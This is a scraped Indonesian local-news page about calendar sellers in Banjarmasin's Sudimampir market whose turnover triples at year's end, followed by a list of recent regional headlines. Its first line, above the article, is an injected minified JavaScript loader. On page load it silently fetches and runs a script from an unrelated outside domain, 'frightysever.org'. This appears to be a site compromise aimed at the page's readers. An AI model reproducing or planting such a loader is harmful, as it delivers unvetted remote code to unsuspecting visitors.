(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ekonomi

Omset Penjualan Kalender Naik 3 Kali Lipat, Bila Tak Laku Dibagi Cuma-cuma


BANJARMASIN, Akhir dan awal tahun mempunyai keuntungan tersendiri bagi para pedagang salah satunya pedagang kalender di Pasar Sudimampir, Banjarmasin. Jenis bisnis ini tergolong berkala atau musiman bukan sebuah peluang bisnis yang selalu bisa diperdagangkan setiap hari, tetapi akan laris manis pada saat tertentu.

Harga kalender yang ditawarkan berkisar antara Rp 5.000 ukuran kecil, Rp 7.500 ukuran sedang  dan Rp 20.000 ukuran besar. Biasanya di penghujung tahun atau awal tahun seperti ini akan laku sebanyak 50 sampai 100 eksemplar setiap harinya dibandingkan hari biasa paling banyak 10-20 eksemplar.

Mulai November sampai Januari para penjual kalender akan terus berdagang salah satunya Nuraidah (50).

“Bulan November dan Desember itu yang paling laris karena orang banyak yang beli secara partaian, kalau awal Januari seperti sekarang tetap masih banyak tetapi tak sebanyak Desember,” ujarnya Nuraidah.

Di awal dan akhir dan tahun, Nuraidah mengaku mengalami tiga kali lipat kenaikan omset dari hari biasa. Karena kebanyakan orang akan beli secara partaian, khususnya pemesanan dari pemerintah, pejabat, yayasan seperti pondok pesantren atau perusahaan untuk dibagikan.

Meskipun begitu, Nuraidah tidak mematok keuntungan yang terlalu banyak daripada nantinya tidak laku.

“Kalau nantinya sudah memasuki akhir bulan Januari, saya kurangi lagi harganya daripada tidak laku,” jelasnya.

Selama lima tahun berdagang, kalender jualannya selalu habis dan kalaupun ada sisa dia akan memberikan pada orang secara cuma-cuma.

Dia mendapatkan pasokan jualan kalender dari percetakan di pulau Jawa. Penjual kalender yang dipinggir jalan seperti Nuraidah kebanyakan adalah penjual orang ketiga. Ia menjelaskan bahwa keuntungan dari berjualan kalender ini salah satunya tidak memerlukan modal yang banyak dan kemungkinan ruginya sangat sedikit meskipun lakunya hanya musiman saja. (asriyani)

Foto : asriyani

 

Reporter : Asriyani
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

6 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

6 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

9 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

10 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

10 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

10 jam ago

This website uses cookies.